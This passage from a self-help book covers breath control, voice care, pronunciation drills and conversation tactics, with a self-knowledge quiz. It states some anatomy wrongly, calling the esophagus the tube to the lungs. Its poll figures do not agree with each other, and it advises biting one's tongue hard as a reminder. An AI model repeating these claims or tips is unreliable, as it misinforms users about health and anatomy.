To speak in confident powerful tones to convey your points effectively, you must use your speaking
mechanism properly. This mechanism consists of breathing, voice-producing, and speech and pronunciation
mechanisms. This chapter will show you how to use these mechanisms to converse with others effectively. You
will then learn how to incorporate your new-found speaking skills into confident conversation. Finally, you
will learn how to start, maintain, and end a conversation with grace and aplomb.
Defensive Breathing.
Did you ever wonder how the world's greatest singers such as Barbra Streisand or Luciano Pavarotti are able to
hold those powerful tones for such a long time and still continue to sing so effortlessly? Did you ever watch a
pregnant woman use the Lamaze Technique, using her controlled and repeated forceful mouth breathing to
cope with the pain of childbirth? Have you ever heard the loud gut-level grunt when a professional tennis
player serves a ball or a weight lifter lifts the barbell over his head?
Have you ever become completely mesmerized by a professional speaker, unaware that her melodic and
effortlessly flowing tones were responsible for your added interest in what she was saying? How they breathe
allows the professional singer to hold that note, the mother to deliver the baby, the athlete to hit the ball or lift
the weight, and the speaker's information to glide smoothly into your ears.
Most of us take our breathing for granted. We just know that without it we are dead. It is during times of
extreme excitement or stress, however, that we become conscious of how we breathe.
When we are nervous—or, more commonly, when we don't know how to breathe properly—several things can
happen.
1. Our inability to focus and think calmly is impaired.
2. We begin to gasp for air because we have difficulty catching our breath as we speak, causing our opponent
to perceive us as uncontrolled and desperate.
3. Without proper breath control, our voice sounds shaky and tremulous, giving our adversaries ammunition to
perceive us as nervous, tentative, or unsure.
4. Finally, improper breath control can maintain or escalate increased heart rate and blood flow, which can
affect the overall status of your health.
The following section on breathing will show you how to breathe to calm down and gain control of your inner
being, your listening, and your talking.

Page 93
If you don't breathe properly the following things may happen:
• You may have trouble focusing and concentrating.
• You may be perceived as sounding desperate.
• You may be perceived as sounding nervous or tentative.
• Your heart rate may increase, thereby placing you in a more agitated state.
Relaxation Breathing: In—Hold—Out Control!
The Relaxation Breathing Technique is the backbone for all other breathing techniques.
These are the three basic steps for relaxation breathing:
1. Through your mouth only, sip in air for two seconds.
2. Next, hold the breath of air for three seconds without breathing.
3. Finally, exhale the breath of air through your mouth slowly and deliberately for five seconds.
While doing this exercise, you must never move your upper chest when inhaling, and your shoulders must be
down, not raised or hunched. All of the movement—the sipping in of air, the holding of the air, and the release
of air through exhalation—must take place in the abdominal region. Why? The abdominal area is where we use
our muscles to breathe naturally. In fact, if you observe a dog, cat, or small child, you will clearly see that their
abdominal area goes in and out as they breathe. A popular but erroneous idea, passed down from singing
teacher to singing teacher, is that breathing takes place in our diaphragm. This is not so. The diaphragm is a
thin tissue under the lungs that separates the lungs from the stomach and intestines. Whenever you hear
someone tell you that you need to breathe from your diaphragm, you will now know that they really mean the
abdominal region.
Page 94
Mind-Clearing Breaths
One of the principles in the martial art of Aikido is called mushi, a clearing of the mind.
Aikido trains martial artists to gain control mentally over their opponent by clearing their mind of anger. It
allows them to clearly assess the situation and the dangers involved and react accordingly. In fact, breath
control has been used by ancient yogis as a key to inner peace and tranquility, helping them clear their minds of
any negative thought, and allowing them to achieve a higher level of consciousness.
The Relaxation Breathing Technique is essential in clearing the mind and getting rid of anger or “toxic
thoughts.” What happens when we get nervous or anxious or think about all the people and situations that have
made us miserable? We keep taking in shallow little breaths of air that we don't release as frequently as we do
when we are not tense. This leads to a build-up of carbon dioxide, which increases anxiety, often producing
headaches and light-headedness.
The Relaxation Breathing Technique can be used to clear and focus the mind. Even if only for a few moments,
it allows you to have a sort of “mental vacation.” Using the principles of the Relaxation Breathing Technique,
you will notice that your entire world stops for the three seconds that you hold your breath. It seems as though
you are suspended in time and space, which in essence breaks your thought cycle. After doing this exercise for
a series of ten times, you will find, as many of my clients have found, that you feel refreshed, re-energized, and
clear-headed.
Listening Through Breathing
Because your mind is clearer after doing this breathing technique, it allows you to focus on sight and sounds
around you. The next time you are listening to someone speak, take a small (not obvious) sip of air for two
seconds. As you sip in the air, sip in the word they are saying. As you hold your breath for three seconds, allow
what they said to resonate as you digest and clearly process what they said. As you slowly let the air out of
your mouth, you'll become more focused than ever before on what they said. The more you practice this
technique, the better your listening skills will become.
Page 95
Marrying Your Breathing with Your Talking
To speak properly and have good vocal tones, you must sip in air through your mouth (not your nose, since you
breathe through your nose only when you are listening), hold it for a second or so, and then speak on the
exhalation. It is essential to flow out your tones. To coordinate your breathing with your talking, you must
follow the principles of the Relaxation Breathing Technique. However, instead of exhaling air, exhale while
saying the ha sound for as long as you can.
Vocal Defense
As we noted earlier, Galen, the ancient Greek philosopher, once said that it is the voice, not the eyes, that is the
mirror to the soul. When you have an appealing sound to your voice, the whole world opens up to you. Thus
your voice is one of your greatest weapons in the art of verbal self defense.
Unfortunately, many people do not possess pleasant sounding voices. In fact, most voices are rather annoying.
Studies have determined that if we listen to annoying voices over a period of time, we either become irritable
and agitated or we tune out what is being said. This obviously puts you at a disadvantage if you plan to verbally
defend yourself with a voice that sounds too soft, too harsh, too loud, too high, or too boring.
This section gives you techniques to effectively remedy these vocal ailments. Before you set forth to improve
any vocal problems, however, you must be conscious of factors that might harm your voice. Following is a list
of pointers that can contribute to a healthy voice box and a strong and confident sounding voice.
Your Most Overlooked Organ—Your Voice Box.
Most of us hardly ever think about our voice box, unless we read about a major singer who can no longer sing
or speak because she has injured hers.
Your voice box consists of a little muscle the size of an adult thumbnail. It looks like an inverted V, covered
with a layer called a mucous membrane.
The V shape is formed by two separate muscles located side by side and facing one another. They open and
close, depending on whether you are talking. When you listen and are silent, this V is supposed to be open; it is
connected to a tube, the esophagus, which branches out and connects to the lungs. When the V is open you can
inhale and exhale. If the V is closed when you are silent, you will most likely turn blue, pass out, or even die.
When you talk, you speak on the air when you are exhaling. You cannot speak when you are inhaling. The V
closes and the muscle vibrates. That is how you make audible tones. The muscles come together and touch in
the middle of the V in order to create pleasant and clear speech.
Page 96
If you use your voice improperly by overly pushing on this muscle when you speak, you produce a hoarse
sound. If the muscle swells—for example, when you have a cold—you also sound hoarse, as the two sides of
the muscle have trouble coming together and vibrating. If you push these muscles too hard over a long period
of time or you put too much pressure on the top part of the muscle when you speak, you will also sound hoarse
or raspy. This is cause by two calluses, or nodes, that grow on the top of the muscle. When an actor or singer
overstrains her muscle continuously, she develops these nodes and has difficulty singing and speaking.
Non-actors and non-speakers who talk a lot also develop this problem. Even children develop these nodes if
they scream and yell a lot.
Additionally, if one of the vocal cords is paralyzed due to trauma or stroke, the voice may sound very breathy,
and it may be difficult to make oneself understood. If you apply constant pressure to your voice box by
speaking on the lower end of the V, you may develop what is known as contact ulcers.
A speech therapist or speech pathologist who specializes in voice therapy can usually help you. Before you
engage in speech therapy, you must ask the therapist if her specialty is voice therapy and how many voice cases
she has seen over the past year. If she has seen fewer than 50 cases throughout the year, or does not have a
master's or Ph.D. in speech pathology or speech and hearing sciences, and is not licensed by the state, don't see
her!
If therapy doesn't help, you may need surgery to remove these growths on your vocal cords and additional
voice therapy to learn how to properly use your voice so growths don't appear again. Coming up, you learn
how to care for your voice and how to use it properly, so that you don't have any problems.

Page 97
The following list gives some rules to follow so you don't damage your voice. The next section of this chapter
helps you remedy any speech and voice problems you might have.
Rules for Vocal Health:
• No smoking
• No drugs (except prescription)
• No alcohol
• Don't sleep with your mouth open
• Don't yell or scream
• Don't talk over loud noise
• Don't clear your throat
• Don't talk too loud
• Don't talk too much
• Limit consumption of dairy products
• Use throat lozenges whenever needed
• Drink lots of water
• Avoid spicy foods
Speak—Don't Squeak!
If you wish to lower the pitch of your voice, take a small sip of air through your mouth, hold it, bear down on
your stomach muscles, like you are going to the bathroom, and speak. You will be surprised at how much
lower the pitch of your voice will sound.
Over 60 percent of Gallup Poll respondents found a high-pitched voice to be one of the most annoying speech
habits. To ensure a clearer, richer, deeper, and confident sounding voice, bear down on your abdominal
muscles while opening up the back of your throat muscles while you speak. You'll learn this next.
Yawning—Opening Up the Throat for a Smooth Voice
To have a rich and resonant voice, it is essential to open the back of your throat as though you were yawning.
Try this as you sip in a breath of air. Hold the air for two seconds, open up the back muscles of your throat, and
slowly and gently say the ha
Page 98
sound for as long as you can. This exercise is also very helpful for those who have rough and gravely voices or
who suffer from vocal nodes, because it encourages the voice to flow smoothly through the exhaled air stream.
This exercise can also help to soften a harsh voice.
I Can't Hear You!
According to a Gallup Poll I commissioned to determine the most annoying speech habits, nearly 75 percent of
respondents stated that they were frustrated by a voice that is too soft or can't be heard. In order to project your
voice so that you can be heard, you must use your abdominal muscles to anchor your tones. Therefore, when
you speak you must put pressure on your larger and stronger abdominal muscles, not on your smaller and
weaker throat muscles. A good exercise for using these larger muscles is to place your hand on your abdomen
while repeating “yes, yes, yes” three times. You should feel a slight pressure on your abdomen as it moves
downward when you speak. In order to project your voice, you need to bear down on your abdominal muscles
as you speak. This increases the volume of your voice so that you can be heard.
Gallup Poll Results of the Most Annoying Speech Habits
Habit Annoyed Not Annoyed Don't Know
Interrupting 88 11 1
Swear words or cursing 84 15 1
Mumbling, talking too softly 80 20 0
Talking too loudly 73 26 1
Monotonous, boring voice 73 26 1
Fillers “um,” “like um,” “you know” 69 29 2
Nasal whine 67 29 4
Talking too fast 66 34 0
Poor grammar, mispronouncing words 63 36 1
High-pitched voice 61 37 2
Foreign accent 24 75 1
Stop Turning Me Off!
Besides the sound of your voice, your arsenal must include knowledge of the other major speaking turn-offs
discussed later in this chapter. They are monotonous, boring
Page 99
speech, a nasally whine, a too-loud voice, talking too fast, and mispronouncing words. You will also learn how
to avoid undesirable and unattractive habits when you are speaking or listening. In this section, I address these
issues and show you how to rectify any problems you might have in these areas.
Stop Putting Me to Sleep with Your Boring Voice!
There is nothing more disturbing than to be excited about something you have done, share it with another
person, and have that person drone on in a boring monotonous tone how happy she is for you. It feels as though
she took the wind out of your sails. She has completely turned you off.
In fact, a Gallup Poll revealed that close to 75 percent of individuals are turned off by people who have no life
in their voices. People who speak in a dead voice are emotionally dead. They are not in touch with their
emotions, often because they suffered some emotional trauma, repression, or early childhood conditioning.
Therefore, if you have a monotone voice I strongly recommend that you consult with a psychologist who can
help you uncover and deal with underlying emotional issues.
Physical exercises can also help you reduce your monotonous drone. Make an “ah” sound as you express the
following ten emotions, while you think back to an event in your life where you experienced these emotions:
• sadness
• surprise
• anger
• happiness
• fear
• disgust
• sympathy
• love
• doubt
• boredom
All of you “ah” sounds should sound different, some inflecting upward (for example, surprise, doubt, and
happiness) and others inflecting downward (disgust, love, and sympathy). Singing also helps you develop your
muscles so that your tones move up and down more readily.
I have recently recorded two CDs. Until this experience, I had never sung in my life, except when I was alone
in the bathtub or shower. But those who have listened to the CD have unanimously said they were impressed
by the quality and sound of my voice. This is the result of all my years as a voice and communication coach
and the exercises I did together with my clients, exercises that strengthened my vocal cords.
Page 100
By listening to my tapes or CDs, you too can hear the results of doing the speech and vocal exercises
throughout this chapter. Singing along with the lyrics provided will certainly help you improve the quality of
your own voice.
Whining No More
According to a Gallup Poll, 70 percent find whining annoying; it rates as one of the top five annoying talking
habits.
With the exception of those who have a physical abnormality such as a cleft palate or a neurological condition,
most of the nasal tones you hear are due to people not opening their jaws wide enough when they speak. In
essence, they tend to clench their jaws, which makes them talk through their nose instead of through their
mouth.
If you sound nasal, never clench your jaws and never allow your back teeth to touch when you speak. I suggest
that you pretend there is an imaginary dime holding your back teeth open when you speak. This technique will
immediately reduce or completely eliminate your offensive tone.
The following technique is very helpful in getting your jaw and tongue muscles accustomed to opening wider
when you speak.
Open your mouth as wide as you can while making a chewing motion. While chewing with your back teeth
never touching, repeat the following sounds.
• Yah yah yah yah yah
• Yo yo yo yo yo
• Yu yu yu yu yu
• Ye ye ye ye ye
• yoo yoo yoo yoo yoo
The Stuffed-Up Nose
Just as you can sound too nasal, you can also sound too non-nasal, as though your nose is stuffed up. And your
nose may very well be stuffed up, blocking your breathing passages. In this case, it is essential to consult with a
qualified ear, nose, and throat doctor. He can provide you with certain medications or may even perform
surgery to reduce the blockage.
You may also sound this way because you unconsciously close off your own nasal passages. The following
exercises help you eliminate your clogged-up sounds. Repeat each one of the following sounds five times in
succession, so that it sounds like you are saying one word (mamamamama, for instance). Do this with each of
these separate nasal sounds and repeat five times.
Page 101
mamamamama
mo ma mu me
nananananana
no na nu ne
ung ung ung ung ung
lung hung sung rung
Tasting Your Sounds
Too many of us slur our words, mumble, and mispronounce our sounds, such as leaving the “ings” off words
(such as with “coming” or “going”).
As a result, we are often misunderstood or end up making those listening to us feel uncomfortable. The Gallup
Poll verified this: over 63 percent of people found these characteristics annoying.
Kicking Key Consonants
Lisping children may be adorable. But as we discussed in the last chapter, studies have shown that people
perceive adults who lisp their s or r sounds (with the exception of a regional or foreign dialect) as not being
very bright.
Adult lispers are often made fun of. Those who lisp tend to be perceived as weaker and less intelligent than
those who don't lisp. As I have seen throughout the years in my private practice, this can affect one's social and
business standing.
Some lisping is due to ill-fitting crowns, dentures, braces or other dental appliances, missing teeth, spaces
between the teeth, or the position of the jaw. Other causes of lisping are significant underbites or overbites. If
this applies to you, consult an orthodontist immediately.
On the other hand, lisping may be due to poor tongue placement. To make a proper s sound, place the tip of
your tongue against your lower teeth, slightly open your jaw, and push out the hissing air. To make a proper r
sound, curl the tip of your tongue all the way back to the roof of your mouth.
Consonants are produced by the positions of the tongue, lips, teeth, and the back of the throat. The following
exercises will help improve your consonant pronunciation. Repeat them in rapid succession in the order listed
here:

Page 102
• Lips: pa pa pa ba ba ba ma ma ma wa wa wa
• Lower lip against teeth: fa fa fa va va va
• Tongue between teeth: the the the thin thin thin
• Tongue tip against back of upper teeth: ta ta ta na na na da da da la la la
• Tongue tip against back of lower teeth: sa sa sa za za za
• Tongue tip against roof of mouth: cha cha cha sha sha sha ja ja ja ra ra ra
• Tongue tip against back of throat: ka ka ka ga ga ga ung ung ung
Vowel Control.
Vowels are the meat of your speech. They are produced by selectively changing the size and shape of the oral
cavity. Here is a spoken exercise to help you with your vowel pronunciation.
• beet bit bet bat bought but
• boast boot ee ih eh ah aw uh o oo
Demolishing Disgusting Habits
The following sections define additional annoying speech habits and list some possible remedies for the
offender.
Say It—Don't Spray It!
Have you ever talked to someone and felt that you needed a raincoat? He spit and sprayed his saliva all over
you. If you yourself do this, help is on the way. This may be a casualty of not swallowing your saliva on a
consistent basis or having over-active salivary glands. They might also bear down hard on the back portion of
your tongue muscles, which in turn press on the salivary gland, thereby causing your saliva to squirt out. You
might also do this because of ill-fitting dentures, wearing braces, or having new crowns. In any case, relax your
tongue muscles each time you speak. Swallow your excess saliva after you finish speaking, and make yourself
take another breath before you continue speaking.
Swallow Already!
If you are listening intensely to someone, you might forget to swallow, and therefore you will drool. Another
Page 103
casualty of not swallowing is ugly spittle that builds up in the corners of your mouth. Both of these conditions
gross people out, so it is important to be conscious or mindful of swallowing your saliva on a consistent basis.
Swallow whenever you take in a sip of air before you begin speaking. Sipping water on a consistent basis
(especially when your mouth is dry) can often remind you to swallow. Mints are also effective in helping you
to swallow on a regular basis, so don't leave home without them.
Slow Down! It's Not the Grand Prix.
Close to 70 percent of the respondents in the Gallup Poll couldn't stand it when people spoke too fast. Asking
someone to constantly repeat what she said is not fun. You may find people snapping at you because they are
frustrated by not being able to understand what you are saying. To slow down your speech, do the exercises
found in an earlier section, “Marrying Your Breathing with Your Talking.” Another way to slow down is to
draw out your vowel sounds for approximately one second.
Quiet! My Ears Can't Take It!
Speaking too loudly is often a sign of hearing loss. If you find that people are wincing when you speak or
shushing you on a regular basis, you should consider seeing a doctor. The solution may be as simple as having
your ears cleaned out.
Spit It Out Already!
According to my Gallup poll, many people were also annoyed by someone who spoke too slowly. You may do
this while you are thinking, thus ignoring the person you are speaking to. If you have a boring, monotonous
voice, you might tend to exaggerate your vowels. In order to stop this, be mindful each time you speak. As you
sip in air before you begin to speak, think of spending only one second on each vowel. This way, you speed up
and talk at a rate at which people find it pleasurable to listen to you.
It is also important, especially if you are in a situation where you are expected to do some public speaking, to
avoid saying the following words: “like,” “um,” and “uh.” So be mindful of your filler words. Silence is better
than making someone listen to these motor-like sounds. Flowing your sounds together and coordinating your
breathing with your talking (as mentioned earlier) can help.
Spending one second on each vowel, as well as consciously stopping yourself whenever you want to “um” and
“uh,” can also help you to modify this negative behavior. Hearing silence is better than hearing your annoying
sounds.

Page 104
Hints to Help Control Your Stuttering
If you stutter by repeating words or sounds, or have episodes of silence accompanied by facial tics, you often
can't help it. In many cases, certain techniques I describe in this chapter can help you overcome stuttering.
Many of my stuttering clients, including a famed former cornerback of the Oakland Raiders football team, have
made amazing progress using these techniques.
Page 105
Chapter 8
Communication Skill Defense
To win the verbal war, it's not enough to have the proper speaking skills. It is equally important to know how to
annihilate your enemy with your radiant confidence. What you say is just as important as how you say it and
how you feel about yourself when you say it.
When you can be glib and feel comfortable talking with anyone in any situation, you are halfway to winning
the verbal battle against your adversary.
Who in the World Are You?
When you know yourself, you know the world around you and how you fit in. You know what you will and
won't tolerate. You will know who and what is good for you and who or what isn't.
Many insecurities come about because we don't really know ourselves, and as a result we aren't sure about
ourselves. We know more about others than we know about ourselves. You probably can rattle off your mate's
favorite color, food, and turn-ons and turn-offs. If I asked you these same questions about yourself, however,
you probably could not answer as quickly, and would most likely have to stop and think for a while.
Page 106
Why? Because you have never taken the time to really think about your likes and dislikes. Unless you have
spent several years in psychoanalysis, you have not closely examined yourself. You haven't invested much time
into thinking about all of the parts of you that make you who you are. Now it's time for you to learn as much as
you can about the number one person in your life—YOU! It's your chance to become introspective and find out
all you ever wanted to know but didn't think to ask about yourself.
“Who Are You?” Quiz.
In the back of every issue of Vanity Fair magazine is a page on which a celebrity is asked provocative
questions. If you cover up the celebrity's answer and substitute your own, you will be surprised by the things
you can discover about yourself—things that never entered your mind before.
In the following list, you will find a series of questions ranging from easy to some requiring considerable
thought. Answer with the first thing that comes into your mind. Enjoy!
“Who Are You?” Quiz
1. Favorite color ___
2. Favorite type of music ___
3. Favorite type of film ___
4. Favorite animal ______
5. Three adjectives describing it ______
6. Favorite smell _____
7. Favorite food ______
8. I like to drink ______
9. My favorite sport is _____
Page 107
10. My favorite city is _____
11. My favorite books are _____
12. I usually read ______
13. My favorite TV show is ___
14. My favorite actor is _____
15. My favorite actress is ___
16. Favorite season ___
17. Favorite time of the day ___
18. If there was a disaster I would grab ___
19. Favorite male ___
20. Favorite female ______
21. Three things I love to do ______
22. The happiest time of my life ________
23. The worst time of my life ________
24. Three things I would like on a desert island _____
25. Three people I would like on a desert island ________
26. The woman I admire the most ________
27. The man I admire the most ________
28. Three women I admire ________
29. Why ________
30. Three men I admire ________
31. Why ________
32. When I was a child I admired _____
33. Who is my mother ________
34. Who is my father ________
35. People who make me miserable ___
36. Why ________
37. When I was younger _____
38. When I get older ________
39. When I get angry, I ________
40. What upsets me the most is _____
41. I regret ________
42. I never regret ________
Page 108
43. I am so happy I ________
44. Beautiful women make me feel _____
45. Powerful men make me feel ______
46. Powerful women make me feel ______
47. Handsome men make me feel ________
48. What makes me cry is _____
49. What makes me laugh is _____
50. My biggest fantasy would be ________
51. Whenever I'm nervous, I _____
52. When I look in the mirror I ________
53. The three qualities I look for in a friend are _____
54. The three traits that turn me off in people are _____
55. I could vomit if _____
56. When I get angry, I _____
57. When I get nervous, I _____
58. A perfect mate would ________
59. A perfect life would be ________
60. My three best traits are _____
61. My three worst traits are ________
62. I love _____
63. I hate ________
64. My childhood was _____
65. As an adult I ________
66. I'd never change ________
67. I'd love to change ________
68. I see myself as ________
69. Others see me as ________
70. Next week I want to ________
71. Next month I want to ________
72. Next year I want to ________
73. In the next 5 years, I want to _____
74. If I were President, I would _____
75. If I had three wishes, they would be _____
Page 109
The Results of Who You Are
There are no right or wrong answers. Your responses merely make up a profile of who you are. How many
questions did you have to ponder before you could answer them? How many questions were easy to answer?
Examining your answers gives you an even greater opportunity to look inside yourself and even make changes
in how you see yourself and live your life. This survey is also excellent to do several times a year, so that you
can chart your personal development.
It might also be a good idea to have loved ones fill out the same questionnaire; then you all can share your
results. This can bond you closer to the ones you love.
Keys to Gaining the Upper Hand
First and foremost, you need to have a winning attitude and winning ways to communicate with your opponent
if you are going to be successful on the verbal battlefield. You have to like and respect yourself enough that the
verbal bullets will have a difficult time penetrating your psyche.
You Gotta Like You!
It's not enough to know yourself. You must like yourself as well. If you like and respect you, others usually
follow suit. They wouldn't dream of treating you any way you wouldn't treat yourself.
When you like you, you don't let people walk over you, abuse you, or say horrible things to you. You know
how you fit into the world. You come from a position of self-respect and in turn demand that respect from
others. If you are being treated poorly and consistently spoken to in an abusive manner in your relationship,
you are treating yourself poorly by staying in that relationship. The first step to changing this situation is to like
yourself enough to get out! Get out immediately! The book Toxic People—10 Ways of Dealing with People
Who Make Your Life Miserable, which can be purchased using a form in the back of this book, gives you all
the steps you need to unplug from this extremely toxic situation.
Don't Like Something About Yourself? Change It!
If you happen to dislike something about yourself, with all the choices available to you these days, you can
definitely improve or change it. You might protest, “this is the body or face I was given, so why change it?” In
a sense, of course, you are

Page 110
absolutely right! Why change what was given to you naturally? On the other hand, if you're self-conscious
about some aspect of yourself such as your nose or body, improving it can change your entire outlook about
yourself.
Psychotherapists exist to help you improve your personality, while plastic surgeons, skin specialists, speech
and voice coaches, hairdressers, dentists, orthodontists, clothing and makeup consultants, and weight-loss
specialists can help you become the best you can be. There are no more excuses! You can be all that you want
to be—if you want to be all that you are!
When you really like yourself, are willing to accept everything about yourself, and are working to improve the
things you don't like, you become more secure within yourself. As a result you become more powerful. Your
power and radiance can be blinding to your verbal adversaries, who might just back off.
Talk Nice to You and Others Will Too
Never be a verbal abuser to the person you need to care for the most—YOU! When you say negative things to
yourself, you are unconsciously chipping away at your self-worth, which obviously diminishes your selfesteem.
You might think that you are being humble by cutting yourself down or being self-deprecating, but you
are not.
Instead you are exhibiting a weakness—a “one-downsmanship” that your verbally hostile opponent can latch
onto. In essence, you are giving your opponent more verbal ammunition to use against you. It may feel okay or
painless when you make a cutting remark about yourself. When that cutting remark comes out of the mouths of
other people, however, suddenly there is a painful sting to their zing! They might even add more verbal poison
to the cutting remarks you already made about yourself. They may embellish what you said, thereby making
their cut even deeper and more excruciating by hitting one of your most vulnerable emotional spots. Imagine.
The moral of this lesson is this: Don't add to the arsenal of your verbal enemy—don't say bad things to
yourself.
Cancel That!
What happens if you forget and end up saying something bad about yourself because you haven't yet gotten
into the habit of being nice to yourself? This is expected. What you need to do in this case is to say the words,
“Cancel that remark!” Say it out loud. Eventually your negative remarks will become fewer and fewer because
you will be more verbally conscious of what you are saying to yourself.
Page 111
The Power of the Word—What a Surprise!
Whether you believe in metaphysics or precognitions, in my personal research of tragic stories, I've observed
that when people utter negative expectations, these usually come to pass. This is called the “self-fulfilling
prophecy.” If you don't think that you can do something, chances are that you can't or that you won't do it well.
Even if you are feeling a little insecure because you have never done something before, keep telling yourself
that you can do it: you'll be surprised at what happens. Many successful athletes and Olympic winners with
whom I've worked use this technique. So did the little train in the ever-popular children's story. The little train
“thought he could,” and by golly, he did get up that steep railroad track!
Thoughts in Your Head
You are what you think! It doesn't matter what others think. It only matters what you think about you. It's as
simple as the fact that if you think good thoughts, more good will happen to you, while if you think bad
thoughts, more bad will come to you. If you really believe you can do something, most likely you will do it.
If you really want to work to replace the ideas that you are a failure in life and that you are limited in how far
you can go, try meditation and affirmation tapes by Guru Ji Pillai, Ph.D. The tapes teach you how to think
“vertically”—to think about infinite possibilities in your life. This is in contrast to horizontal thinking—going
along with the status quo and being stuck in a rut. Guru Ji says that only by expanding your thoughts and your
awareness can you manifest your goals and life dreams. His philosophies and concepts are so effective that
popular author Dr. Wayne Dyer has incorporated Guru Ji's unique technique in his best-selling book Manifest
Your Destiny.
Open Your Mind!
To gain the winning advantage over your verbally vicious opponent, you need to deflate all prejudices or
preconceived notions you have about him or her. Begin each interaction with a fresh new outlook.
This might seem a Herculean task, and indeed it does require a lot of practice and inner harmony to
accomplish. I'm not telling you to forget about how awful they can be. I am not telling you not to be on guard.
What I am telling you is to follow the same approach used by martial artists. When they face their opponents,
they show no fear or anger towards their opponents and clear their minds of any previous feelings toward them.
A closed mind begets closed life. An open mind, on the other hand, results in an open and exciting life filled
with the excited anticipation of what is going to happen next. An open, non-prejudiced mind allows you to deal
with any situation or person that may come your way because you are free of preconceived notions. You are
ready for any surprise!
Page 112
Open Your Heart!
When we are angry or upset, our body, especially our hearts, react much differently than when we have good
and positive feelings about a person.
Here is a technique that can help you open your heart, even toward a verbal adversary. Try to imagine that
person as a sweet and innocent baby. Try to find one good point about him and focus on that thought. If you
can't find at least one good thing about him, you haven't looked hard enough.
Opening up your heart towards the adversary may often result in diffusing his hostility and anger. Don't
hesitate to make the first move—whether you smile at him, put out your hand for a friendly handshake, or
make a kind remark. If the situation is befitting, you can even offer a short and warm “hello” kiss. You'll get a
lot of satisfaction from taking him off-guard.
Your loving and heartfelt gestures often diffuse others' anger and hostility towards you. So don't be surprised if
you see a 180-degree turn in their behavior. Watch them metamorphose from mean to nice in less than 10
seconds.
Congratulations, you have just won the first battle in the verbal war!
Tactics Used to Promote Verbal Peace with Others
So much of verbal warfare is brought about by miscommunication and by misconceptions of what was said,
and by misinterpretations of words and perceived rudeness from the other party. The rest of this chapter is
devoted to ways you can avoid potential verbal attacks.
Speak Up Immediately!
No festering allowed! No shoving what they said, and your emotional reactions to it, under the table! No more
keeping things in. Speak out immediately. The best phrase for you to use when you are miffed by what
someone had just said is, “Excuse me, what did you mean by that? Explain what you mean.”
If you heard right the first time, and they said what you thought they said, take immediate issue. What happens
when it's 2 A.M., and your thinking about a perceived negative comment keeps you up? Call the person first
thing in the morning when she gets into work, and deal with it then. Otherwise, if it's a reasonable time in the
day, call her as soon as the comment starts to bother you.
Page 113
Monitor Your Mouth
Just as it is essential to know when to speak up, it is equally important to know when to keep quiet. You can do
this by observing your opponents clearly, as was discussed throughout Chapter 1.
If you stop, look at them, and really listen and empathize with them, you will be surprised at how much less
frequently you will say the wrong thing. You will become more conscious of your words.
If you stop and suck in air for a moment before you speak, you will never make a faux pas. Mistakes like these
are usually made when you are not thinking about whom you are speaking to and what you intend to say.
Pay Attention to Trigger Words and Phrases.
Sometimes, things are going along fine, and then all of a sudden you hear a word or a phrase that sets you off,
starting a full-scale war. These words and phrases can cause long-buried negative emotions to resurface.
The following list gives some phrases you should never use. They are destined to trigger a negative response
and put someone on the defensive. When a sentence or conversation begins with any of these phrases, the
person has automatically tuned you out, is ready to attack, or is ready to verbally defend himself.
1. You should have ___
2. You never ___
3. Why don't you ever ___
4. Why didn't you ___
5. You'd better ___
6. I don't believe you.
7. That's not true.
8. Don't you ever ___
9. How could you ever ___
10. You make me ___
Instead, you might want to substitute the phrases listed here with the following phrases, which are destined to
get the person to hear you and perhaps do what you want them to do:
1. Perhaps you could ___
2. I'd appreciate it if you would ___
3. It would be in your best interest if you would ___
4. Have you looked at it from this point of view?
Page 114
5. I don't mean to contradict you, but have you also considered ___?
6. Perhaps we could both ___
7. May I suggest ___?
8. I would prefer _____
9. It hurts my feelings when you don't ___
10. Do you think it would be a good idea if ___?
11. I would never criticize you, but don't you think that perhaps__?
Terms of Endearment
A verbal pat on the back is only a few vertebrae away from a verbal kick in the pants. When you want to
maintain good relationships with people who you like, always incorporate terms of endearment. “Please,”
“would you mind,” “I like [or “love,” if appropriate] it when you __” are musts, no matter how familiar you are
with the person.
“Honey,” “sweetie,” “baby,” “dear,” “love,” and “darling” are great terms to use when you have just been in
verbal battle with a loved one. These terms often reassure the person that no matter how angry you both got at
one another, you still feel tremendous affection towards her. On the other hand, the consequences of speaking
these words to the wrong person in the wrong context can be disastrous. They can land you in front of a judge
in a sexual harassment suit or get you fired, not to mention generating a lot of unnecessary hard feelings.
Southerners and older people who see nothing wrong with calling someone they like “darlin” have to be extra
careful, since their use of terms of endearment are a way of life.
The moral of this story is to be always mindful of whom you are going to verbally endear.
Let Them Speak Their Piece
If you really want to aggravate people, just keep interrupting them when they are trying to make a point. As I
explained earlier in the book, people who interrupt are considered to be extremely annoying as well as toxic.
To curb your tendency to interrupt someone constantly, do the following:
1. Take the tip of your tongue and stick it between your two front teeth.

Page 115
2. Bite down hard on your tongue (not so hard that you bite off your tongue or make it bleed).
3. Stick your tongue back in your mouth.
The stinging and lasting pain you experience from having bitten your tongue will serve as reminder to keep
your tongue in your mouth and let the other person speak.
Enough About You Already!
Constant talking about yourself angers people who are forced to listen to you. They might react by becoming
short-tempered with you or by making fun of you. You might, however, be so self-consumed that you won't
hear them anyway, or don't care even if you do care. Eventually, in addition to avoiding talking to you, they
will use you as the brunt of jokes with their friends. The bottom line is, share the stage! Don't hog the
conversation!
You will learn more about the art of having a great conversation in Chapter 9.
Mind Your Own Business!
Don't impose; don't get too detailed. Read their body, face, and verbal cues. Don't ignorantly and unconsciously
keep asking questions. Let them volunteer. Don't invade their privacy or personal space. If you pay close
enough attention, you'll know when you have done so. If you have, back off immediately!
Don't offer advice unless you are asked. This is a sure-fire way to alienate people, especially if they don't like
your advice. You will feel bad that they didn't heed it. And they in turn will feel bad that you are judging them,
when in reality you were only trying to help them.
Minding your own business means keeping confidences. Even though we all love the dirt, it's ugly when
someone tells you something that is her personal business. Therefore, mind your own business and not
everyone else's, even though you may know more than you need to know.
Respect Should Be Your Mantra
We throw the word “respect” around like a Frisbee, but nobody pays much attention to what it really means.
When you respect, you appreciate, cherish, honor, and admire.
Page 116
In essence, you look up to the person. That doesn't mean that you look down at yourself and hold him in higher
esteem. Instead, it means that you honor who he is. With “respect” comes the complete consciousness and
awareness of the other person. You need to always be aware of his time. That means when he says he has to go,
let him go. Don't keep him.
When people say they're going to accomplish something no matter how large or small the project is, respect
them enough to assume that they will accomplish what they said they would accomplish. Don't give any
reasons why it can't be done. Don't even think about negating or diluting what they said.
Don't Like the Answer? Then Don't Ask the Question.
Too many people bait you by trying to get you to commit to an answer or get your opinion even though you
may be reluctant to give it. Then, if they don't like what they hear, they will take it out on you or on
